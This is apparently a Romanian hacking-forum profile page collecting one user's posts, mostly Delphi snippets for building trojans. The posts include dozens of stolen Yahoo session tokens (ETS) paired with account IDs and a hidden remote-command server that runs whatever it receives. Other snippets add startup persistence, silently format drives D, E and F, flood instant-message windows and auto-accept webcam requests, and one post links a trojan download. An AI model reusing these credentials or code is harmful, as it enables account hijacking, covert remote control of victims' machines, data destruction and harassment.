-
Posts
311 -
Joined
-
Last visited
-
Days Won
4
Everything posted by c0smyn
-
Am gasit astea prin pc. Cei ce nu stiu inca ce e un ETS cititi AICI ################### --------------------------- ETS: SR2ElgAAcjK3LCEQbqPaVSdyWdgacLJEHU5qs1gDzdi7mKameDOp0gLnTuIg.L3j3eWclhRf87xOli4ajpUS4AiDY.0fOTuyALOuO04gu2Mq ID: roman_bogdan13 --------------------------- ETS: STwdwwAACTdUnY_5HpgZB5vmn8tcuCWx5o.OJZPN8s2OnUCFTeZkiuqvH6aiDva_AoVRXaz04rliHJrvS_WqvFRbOoUPc6Bg6gNjC6k- ID: petre18cr --------------------------- ETS: STwHqQAXmKYk9qcEeDdFhbB7BMQa.PSvWkP3sR25q9EF7gYXpOPeBO5w5KhRj_.5tePpCgRN8_lKV6gZPSLOqVWfWTy5mMfi9IWz_QphI5GL ID: boa_the_snake --------------------------- ETS: SRMtAgABFdXtYwxVjVNJGW2omYkP9trBb325BBZplO.C1hW8Hw.dx8p1vtHc57SoG9GuGOSt8u8j5rkcYLk3.k.e_CXfw5siGLzIMKHAjlW7dsVz_w-- ID: krysty_beztialboy --------------------------- ETS: STyG_gAAG.QLsBf5s4s8Dwvq5wXGaflSQwqVx9hPvkNY_AqoYZqFFUP8h5MVU0.VJ5S8P5tk4Lds7O6vZZgarpNq_BjwEfUS1CWzRqxuLLPp ID: baba_guta_razvan --------------------------- ETS: STkh.QAOrArr5.6LwWjNBLwO9Aj31ngTeXWuuLZsx_nzHraUTmUi5QsMKdjCbTxEtAwqvCTwDEJuLfXrCAwiX.dyS0t5NoZW5Fp4H64- ID: valy_parvu85 --------------------------- ETS: STxLGgAAT5fhKfynlmpj2RvRuMrxlxey78HZg6XnH_KhMkf6Tae_RbFAxMz7fSPmyboPc.6T_W0aSqP8cJhAqOMLGB7GUlpymQ-- ID: xzeber --------------------------- ETS: SSxwPQABalH6Yl5c.aJrf0xzpptpgeuZ1PPcP_3ZyBN_bRC6quDO.XnHwYSVP1wTNkDDYaEBBWtHgC0od9upm_zHf9TQsNEJX0PGQOQ- ID: q3hannibal --------------------------- ETS: SRV.8wACeR5K_zQeemE0wOSPKpK8ueiOQojN7J1RNMFxnMmt7m6Jh8P5ZWTQyCuUYwXVRNNJPCQ9jXHPoDf_Wuf7KCT0hCxQFqtDo0U- ID: gondo66_hbk --------------------------- ETS: SRWdxwAATVTiZHdfSAwMNXhrggnzu0xWMCVL_MZhT9plX5hj5vt_A1bTe6MMmWF81LHXedGPGfkYYHZ5gAc2VBbsqvj4Ij8bFPOUGdn4BabU ID: coco_cristy_94 --------------------------- ETS: STz_mgAAXBrGaeYf.dbKHXfm7qOtKIUyJU_jmLgraaNk6tHTZSquefxOlU46GpQEpTP9UZcSHa4zKoBIEuNX81Q34ihyRHCGUr4uK7PWwKNB ID: ricky.sympatiku --------------------------- ETS: STzqvgABnxlTDZ9OndPztsbgexAGjH7ahpnnN0wSTCDYHItz735zfsDw2yQtva7gxEAZ0qWt98tDg2aklDtQtjikaWfMyVTq9YPQpRIxjsqd ID: g3orgyan_yonutz --------------------------- ETS: STupmwAAVbFjLD2aIzh666MTv3e21CM52UNqEK4ZSqGZt.Fr8BMm_fWzmQSndfMASeql5AiwU26T_hitP0rWWJ5deko9BmpBOyDpodZmcABh ID: jerry_boy2007 --------------------------- ETS: ST11ZAAAfQ9Y4Hpxo9GukUPxZSGaHJ1vJKkkg2VEjwK6ZG5er23ILik0gqw99X5thMEDRsvrqEyLK2r7Lugt12EfhGsUfKXzTuJL_chhdFuH ID: leontestefan94 --------------------------- ETS: ST19PgCYWhHqrrx0IQFYb5EGZA5njsmKwythZ_Car8MFGw0LKV0Gc8EAVxmgEoOZby_qSjf7AwgsJEjSxyUIyebpu81DOM76MMdAm34- ID: Badboy_nyck --------------------------- ETS: ST6auACsgd3rUooRGntQzDZjJdu1wbaoTWZchascNsRjVsbrh3KbRVPxS7PCD1pJ9SPv8MA.ZBVxcOY6csHtQU9ti2YyIfzKI3.Lq6k- ID: andrusk4all --------------------------- ETS: ST4iVgABaFxJ7wpwegw9d90Dq0AyrNnZvU0sml0DGEuddoJWhRTil1IHkonXXShZ5Xpe3RMQPd0gD1Pma.xMPuuif5dm77EDkDYnc1yL7xeTArqGUQ-- ID: vlad_killerul2008 --------------------------- ETS: ST5aCgAADtRUx_KhZ1pcR20Y72X3F.HosKPrM.65pKYKhSW1k2Xh41UBt6DkL9fs26Z6XYPJ2BeXFJZgUcpocoOz1Ddlu9hxs50wOBcA_yJj ID: alexs_hugoboss --------------------------- ETS: ST6auACsgd3rUooRGntQzDZjJdu1wbaoTWZchascNsRjVsbrh3KbRVPxS7PCD1pJ9SPv8MA.ZBVxcOY6csHtQU9ti2YyIfzKI3.Lq6k- ID: andrusk4all --------------------------- ETS: ST6arAEVIc1pzfmDLd99Cg8K1_h3Oy_WnR5OJ5I63bFkZYfQbaCdubYMBf6lb.S5aqmIqEZMq_AP5FHrfhKeGWMTYm9yzC_RMg-- ID: danutzq --------------------------- ETS: ST64_QAwhDoNDp0i1YXkII.Oea5fzRPqGfDyuHxpeH0xP3UrUjItLBC8LTy7Sp3YKdvXgq09RDsjsIXWEgvzVaMoHj7SUsfzTkMS2JCEC70YtJYyLw-- ID: alina_alina_grill --------------------------- ETS: SRv81wAAgvrdPwmWpcPnyeLOZvmbqR2piKXR4IvY9pelAOv9p8jTTWibK27QFoAvqpGbUpjGj7ePronL1dT0p.H5HuT2uaumGWmlFBk- ID: calininio --------------------------- ETS: ST92HwAGN15OVmOVSNSPf8ulL6OV_81hPswD0FlnvTTST119M_OHd4qBE_dVLMzCrjfc2EUa1jVyOmaHoXhJAZaTEwYUnLyyEg-- ID: cipi_tba --------------------------- ETS: ST0SQQAdTu41ewF5Mm2Z5bMMTzJHnDi4s5G3rvc.YHnFYWCCbYOlqvBBdZogco5iYc1TGUkM3OSW_GLTNdCzvqAxaA1aMHWL5d8rEGY- ID: Fen1X_FEn1X --------------------------- ETS: SWee.wAA3zQThMDm.4dim5VeoSyPyaeAplBcso3V3wBsZ2itfYm5KUKBemOFKjS4jT1oytesEJLasPwSxGPkNYmughN3uXzDziMYMvOjLssce.jYEUvM8D4- ID: youshouldntbelikeme04 --------------------------- ETS: SUJoeQAAS0GElCVqJx2OI9qSRsWVhmTjLh2ef0B74M.EAO5mrDrtwMr8udK8J5pY5DU.ywHIK0l5aWibjpCEMRVQV_u1fBHi6WbZ3xvZLVyP ID: armin_costea2000 --------------------------- ETS: ST7UbwAA3HnRDkuOhYzpSCLFt3tuTOwt6wSRqwsbxmCVrA.JM0_fM5_VG.K7YZ6LYGR2R03PFQ2mr19k9zKwPhy7tut0HIAiHnNm69N5Fz28 ID: blondutzu_tm99 --------------------------- ETS: SS9s_gAAjL_8xRAuz6wrTC4HF7zKo_3IkzxWYRhMW_BIq5WGFSyAm8fiozZ9B6tlsYl9Gjag8sO7wzhXBUlO.SFGpJE0WAmXiQxN5sfmugRztEPASg-- ID: laleagane_ghostrider --------------------------- ETS: SUFx_QAAI9NZ9aGzpCyVdiEyhH5AK3cPjMQL_OwEMkNJClBX4_lwUb4FpOrTeNy5FBmtsYEq8JDaHjS3rkNiZstWTBS13qJJBzRC7Y7o6YIE ID: doky_avril2005 --------------------------- ETS: SUFyNQAAcL1_z3hOM7Tkyv5yCf2tKZ6pTw5hdOzq6oDpB.fLmA6tsWKczagrDFquWiwyraqKavC657wiQturHD_d4qMCGv5Gv9DfU2h49pjnkSzDQA-- ID: teardrop_by_kitty --------------------------- ETS: SUFx_QAAI9NZ9aGzpCyVdiEyhH5AK3cPjMQL_OwEMkNJClBX4_lwUb4FpOrTeNy5FBmtsYEq8JDaHjS3rkNiZstWTBS13qJJBzRC7Y7o6YIE ID: doky_avril2005 --------------------------- ETS: SS9s_gAAjL_8xRAuz6wrTC4HF7zKo_3IkzxWYRhMW_BIq5WGFSyAm8fiozZ9B6tlsYl9Gjag8sO7wzhXBUlO.SFGpJE0WAmXiQxN5sfmugRztEPASg-- ID: laleagane_ghostrider --------------------------- ETS: SUFz_wAAlkQXkNL8.FtbTeddah6NTUOXX2DhlFcAmijX2FdsQfaDCi7PZUnAedJ9_6HgY8k3VRySX..Jy7kkH.evPGX96LdoUqsp.9WdIBgQ ID: vatos_anna_lokos --------------------------- ETS: SUGDhwAue0omqa3XuQN4xR93apVQVoT20h4w8gAOY31zpKyKamFnUgX4JYQKVwhN4g6.pfZP_u.aWh7k1vCTlqLzr1JHyIlmvaoD7Os- ID: mihai_love_d --------------------------- ETS: STvZXAFTzjxOC05zo9L9gMacTJpaeWZnC6_WlK1yhgYzFfzWVrzzqVL0wu3vcg5jzNZN9aNgrex84AWWqYsoOn_M6hk3UO00zAr57osHD0xGfgCXI_LbP7CQUYjMH.MFEA-- ID: alexica_lkj4567899999999999999f --------------------------- ETS: SS1NDQAG_S.dtOJmmZQweuVjKPWAEyAW0mYu8W02gNrt52foSxoDbtvlEXCS35tTQAOdeci2xMPYDDgz2N9sKKFKBS5z0GTLsA-- ID: wyvasi --------------------------- ETS: SeQB_wAADlvyDuzzAqomAMy_4KtcFV78.Vs0J1IrRXu3PCBjl0XoWWDwjP2H8qIHiIfmNnAUnA1cK4bqsC_6Rzslv.3wyeRGv9yXea4- ID: nely_knife --------------------------- ETS: SUPe_AAAuO8K3UroWTqzhVQd3LzYjOh3xN_LlvwOdbE4mH3..SmDkuKf58rhOVY43V3NoW1U9wYOIWhFaVrITbU0I9q3ekfZLMzc204- ID: maf1a_rurala --------------------------- ETS: SUQkXgAAWuH85Pnn8YFCfrc5iB2hWdS7x2XMOIftlnP_pxHhZH.I81nqnAVmWeDlzg85u_czIoVVli6e_ZWST0Q0R801X8wj4PZ05M_hup9R ID: crys_ty_13_14 --------------------------- ETS: SUVqtACXCkK5yAjGNAEkCEuceS0uKDAFHiVQ2ZnQhAxFUnJEP3pxIbOQhvVb_SAQ6hyaU_gx8ydQDWmI8wyEGcPnyw7Xuj0fbuSGi0E- ID: pepsy_mp4 --------------------------- ETS: OlgZHgABEQLHh1gU40E94rxS3DHuO6rTodYuUsY94Ers5.n6.j23JXIM793vwzWgaLLmeYlOA4SRbvUG_0LQXDTSwlUPRW9smY9z5a3FWeTDZYuvnAdGQ1c- ID: angelavasile@ymail.com --------------------------- ETS: SUp6ZAAAPwxfb2Eu13vBNh0QSqhH__dxDotUCH0k2LFBfWHtvGACr28wPJ2Emp9I3tCY5LZwauL7rYXeqzITkyP.ZQY4uFbADe7Dbaw- ID: Alex_Aluuuu! --------------------------- ETS: R3pp5QAAN5pRQyr9FIZ1ji4Fza4d1m6NyehWSxDVnt4YY00OsNzKVePEW_wheC6ry3qRBs9WE8KJmzSwlcQqPnFCFOnNDg_.eEHcPu0- ID: mem0_paul --------------------------- ETS: SUmMFwAAKPQLy365h6036se71KgRc96I6O9ahuo7tRuPj4OfJjHXn.pHvgUvObHQ7BryUnr0Ik9g2PWG5WmM80g2Xgyr1ska9bG8XTmVbbkF ID: Yo_costy_andrey --------------------------- ETS: SUuQtwAAFtPQ1uRCNtvC.zvuAT7v238ORPJI3Za2gAymqX0YMwcGdg_EyxWNWh1oqE2JYue9vjAiTWy2E7L1eN6uBaGoJpvmz6auodw- ID: somacatalin --------------------------- ETS: SUzDYQAEu3zU6A._zD4z1Lq517yfVX3zcZoY8XRUj79uBWdxLNWUS76jZk_gBumTWoq.gCgQwO1X6dKcFZgUVbmR.nnmkhzCejDiz6TDEWWR ID: mindstorm_alex --------------------------- ###################
-
scuze unele coduri le-am scris pe direct .. in loc de CopyFile(Application.exename,ExtractFilePath(,false); pui CopyFile(PChar(Application.exename),PChar(ExtractFilePath(),false);
-
daca vrei sa pui aceasta comanda pe trojan e simplu. Dar sa fac un Yahoo! Booter separat nu prea ma pricep. Pentru trojan procedezi astfel. Adaugi pe form un actionlist iar in action list un TBrowseUrl. Acum pentru a deschide multe ferestre folosesti codul asta. var mybot: string; botnumber: integer; i: integer; begin mybot := 'koko'; botnumber := 1; for i := 0 to 1000 do begin browseurl1.url := 'ymsgr:sendim?'+mybot+inttostr(botnumber); browseurl1.execute; botnumber := botnumber + 1; end; end; Acest cod v-a deschide 1000 ferestre de convorbire catre id-ul koko+botnumber
-
Ai dreptate Shocker // Thanks to Shocker function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean; var i: TIcon; h: HIcon; begin if not directoryexists(ExtractFilePath(SaveIconTo)) then if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil) else exit; i := TIcon.Create; h := ExtractIcon(application.handle,PChar(ExePath),0); if h <> 0 then begin i.Handle := h; i.SaveToFile(SaveIconTo); result := true; end else result := false; i.Free; end; E mai bine acum ?
-
Acest program va atentioneaza daca aveti procese suspicioase/care nu va folosesc/de troieni etc. Nu are install e doar un simplu executabil. Merita incercat. Photo: Download: http://rapidshare.com/files/195728419/Process_Scanner.rar.html http://www.2shared.com/file/4832839/82bf91dd/Process_Scanner.html http://www.mediafire.com/?ymgm1nyfumx
-
REMOTE CMD CLIENT: tcpclient1.sendln('!'+'COMANDA'); [color=green]// Ex: tcpclient1.sendln('!'+'shutdown -s -t 100');[/color] SERVER: OnChange var s: string; begin if edit1.text[1] = '!' then begin s := edit1.text; delete(s,1,1); winexec(PChar(s),sw_hide); end; end; Pentru filemanager ai nevoie de TClientSocket si TServerSocket. Am sa fac unu mai incolo si o sa pun sursa aici. EDIT: Done! Download Source
-
Adaugi sus la USES, MMSystem. Pui acest cod sub {$R *.dfm} procedure ChangeVolume(left, right: Word); var a: HWAVEOUT; b: TWAVEFORMATEX; vol: DWORD; begin FillChar(b, SizeOf(, 0); waveOutOpen(@a, WAVE_MAPPER, @b, 0, 0, 0); vol := left + right shl 16; waveOutSetVolume(a, vol); waveOutClose(a); end; Iar acum pentru a schimba volumu , dai click pe scrollbar , si la OnChange pui acest cod ScrollBar1.max := 65535; ChangeVolume(scrollbar1.Position,scrollbar1.Position);
-
Da. Aplicatia se copiaza in C:\Documents And Settings\All Users\Start Menu\Programs\Startup
-
in orice caz daca e sa imi mai trebuiasca il downloadezi de aici http://rapidshare.com/files/194830233/Project1.exe.html
-
Adaugi un label pe form Acum la un button sau la ce vrei tu la eventul OnClick pui acest cod var i: integer; begin for i := 0 to (FileListBox1.Items.Count - 1) do if FileListBox1.Selected[i] then label1.Caption := FileListBox1.Items[filelistbox1.itemindex]; end;
-
http://rapidshare.com/files/194202443/My_trojan.rar.html
-
Open/Close CDRom Uses: MMSystem; procedure CDRom(operation: string); begin if operation = 'open' then mciSendString('set cdaudio door open wait', nil, 0, handle) else if operation = 'close' then mciSendString('set cdaudio door closed wait', nil, 0, handle); end; Hide/Show Desktop procedure ShowDesktop(const YesNo: boolean); var h : HWND; begin h := FindWindow('ProgMan', nil); h := GetWindow(h, GW_CHILD); if YesNo = True then ShowWindow(h, SW_SHOW) else ShowWindow(h, SW_HIDE); end; Hide/Show Start Button procedure ShowStartButton(bValue: Boolean); var Tray, Child: HWND; C: array[0..127] of Char; S: string; begin Tray := FindWindow('Shell_TrayWnd', nil); Child := GetWindow(Tray, GW_CHILD); while Child <> 0 do begin if GetClassName(Child, C, SizeOf(C)) > 0 then begin S := StrPAS(C); if UpperCase(S) = 'BUTTON' then begin if bValue = True then ShowWindow(Child, 1) else ShowWindow(Child, 0); end; end; Child := GetWindow(Child, GW_HWNDNEXT); end; end; Hide/Show TaskBar procedure TaskBar(show: Boolean); var t: HWND; begin t := FindWindow('Shell_TrayWnd',nil); if show = true then ShowWindow(t, SW_SHOW) else if show = false then ShowWindow(t, SW_HIDE); end; Open 100 xxx web Adaugati un ActionList pe form , iar in actionlist un TBrowseurl procedure Open100xxxWeb; var i: integer; begin for i := 0 to 100 do begin browseurl1.URL := 'http://redtube.com'; browseurl1.Execute; end; end; Hide/Show clock procedure Clock(show: Boolean); begin if show = true then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW) else if show = false then ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE); end; Get windows/desktop path function GetWindowsDir: string; var s: array[0..255] of char; begin GetWindowsDirectory(s,255); result := s; end; function GetDesktopPath: string; var a: array[0..255] of char; s: string; begin GetWindowsDirectory(a,255); s := a[0] + a[1] + a[2]; result := s + 'Documents and Settings\All Users\Desktop\'; end; Add application to startup procedure AddToStartUp; var a: array[0..255] of char; b: string; begin GetWindowsDirectory(a,255); b := a[0] + a[1] + a[2]; b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename); if not fileexists( then CopyFile(Application.exename,ExtractFilePath(,false); end; Format D,E,F Uses: ShellApi; procedure FormatHDD; var a: array[0..255] of char; formatpath: string; begin GetWindowsDirectory(a,255); formatpath := a+'\system32\format.com'; ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide); ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide); end; Daca aveti nevoie de vreo comanda postati mai jos si o sa va ajut ..
-
Acest program v`a apasa pe butonul "Yes" de la cererea vederii camerei web. 1. Adaugati pe form un TTimer 2. Puneti la Timer1, interval 20 3. D`ati 2click`uri pe timer, stergeti cuvantul begin si puneti urmatorul cod var WebcamWindow: HWND; AcceptButton: HWND; begin WebcamWindow := FindWindow('WebcamClass','View Webcam'); if WebcamWindow <> 0 then begin AcceptButton := FindWindowEx(WebcamWindow,0,'Button','&Yes'); SendMessage(AcceptButton, BM_CLICK ,0 ,0); end; Enjoy
-
Adaugati sus la uses: ShellApi Adaugati aceasta function sub {$R *.dfm} // Thanks to Shocker function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean; var i: TIcon; h: HIcon; begin if not directoryexists(ExtractFilePath(SaveIconTo)) then if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil) else exit; i := TIcon.Create; h := ExtractIcon(application.handle,PChar(ExePath),0); if h <> 0 then begin i.Handle := h; i.SaveToFile(SaveIconTo); result := true; end else result := false; i.Free; end; Enjoy
-
asa zi xD Adaugi pe form un TTrayIcon. Click pe Form1 > Events si la OnClose pui acest cod //Hide App application.mainform.hide; with trayicon1 do if visible = false then visible := true; abort; iar pentru a inchide aplicatia folosesti application.terminate;
-
se cheama Tray nu tool bar referitor la ce limbaj de programare ai deschis acest topic ?
-
nu exista asa ceva. ceea la ce te referi poti face cu TTrayIcon. Nu mai deschide topic nou pentru fleacurile astea. Cauta pe gugal.
-
lasate uite asta tre sa pui ( un string )
-
Click dr p mnopg ptr a deleta srv rotflmao deleta on: bv esti viitoru romaniei. chiar aveam nevoie
-
Acele componente nu le poti instala. Ele iti apar odata cu inregistrarea programului.
-
nu mai am sursa de ce nu faci tu unu ? sunt destule tutoriale pe aici postate de mine.
-
In primu rand cei ce aveti veriunea 7 de BD sau mai mica aveti nevoie de sndkey32 pe care il puteti descarca de AICI. Extrageti tot din arhiva in folderul "lib" din %Program Files%\Borland\Delphi\ . Acum sa trecem la proiect .. 1. Sus la uses adaugati: sndkey32 2. Adaugati pe form 2 butoane , un edit , un Timer si un XpManifest. 3. La button1 punem la caption "Activeaza" (fara ghilimele) , La button2 punem la caption "Dezactiveaza" si la edit1 punem la text "Mesaj". 4. In "public {Public declarations}" , adaugam urmatorul cod. YahooMessageWindow: HWND; 5. Punem aceasta functie sub {$R *.dfm} --- function CheckWindow: boolean; begin result := false; YahooMessageWindow := FindWindow('YSearchMenuWndClass',nil); if YahooMessageWindow <> 0 then begin result := true; BringWindowtotop(YahooMessageWindow); end else result := false; end; --- 6. La Timer1 punem la interval 20, la enabled sa fie false , apoi apasam 2 click pe el si punem urmatorul cod. --- CheckWindow; if CheckWindow = true then begin BringWindowtotop(YahooMessageWindow); timer1.enabled := false; Sleep(200); SendKeys(Pchar('<b>Robot Yahoo!:</b> '+edit1.text),true); SendKeys(#13,true); SendKeys('{ESCAPE}',true); timer1.enabled := true; end; --- 7. Dam 2 click pe button1, stergem cuvantul begin si punem urmatorul cod. var YahooHandle: HWND; begin timer1.Enabled := true; edit1.enabled := false; YahooHandle := FindWindow('YahooBuddyMain',nil); if yahoohandle <> 0 then CloseWindow(YahooHandle); end; 8. Dam 2 click pe button2 si punem urmatorul cod. timer1.enabled := false; edit1.enabled := true; Finish ! Aplicatia ar trebui sa arate cam asa Totul este foarte explicit .. va rog sa nu veniti cu posturi de genu "nu functioneaza" , "imi da eroare" etc ..
-
Minimize/Maximize/Restore/Hide/Show Yahoo! Messenger: --- var YahooHandle: HWND; begin YahooHandle := FindWindow('YahooBuddyMain',nil); [color=green]// or FindWindow('YahooBuddyMain','Yahoo! Messenger'); [/color] if YahooHandle <> 0 then begin ShowWindow(YahooHandle,sw_minimize); [color=green]// Minimize[/color] ShowWindow(YahooHandle,sw_maximize); [color=green]// Maximize[/color] ShowWindow(YahooHandle,sw_restore); [color=green]// Restore[/color] ShowWindow(YahooHandle,sw_hide); [color=green]// Hide[/color] ShowWindow(YahooHandle,sw_show); [color=green]// Show[/color] end; end; --- Change Yahoo! Messenger caption: --- var YahooHandle: HWND; begin YahooHandle := FindWindow('YahooBuddyMain',nil); if YahooHandle <> 0 then SetWindowText(YahooHandle,Pchar('New Caption')); end; --- Start Yahoo! Messenger: --- Adaugati sus la Uses, ShellApi Puneti aceasta functie sub {$R *.dfm} function GetYahooPath: string; begin if fileexists('C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'C:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else if fileexists('D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'D:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else if fileexists('E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe') then result := 'E:\Program Files\Yahoo!\Messenger\YahooMessenger.exe' else ShowMessage('Nu se poate gasi Yahoo!Messenger.exe'); end; Acum pentru a porni Yahoo! Messenger folositi urmatorul cod: ShellExecute( 0, 'open', PChar(GetYahooPath),nil, nil, SW_SHOW ); --- Close Yahoo! Messenger: --- begin winexec('taskkill /f /im YahooMessenger.exe',sw_hide); winexec('taskkill /f /im YAHOOM~1.exe',sw_hide); end; ---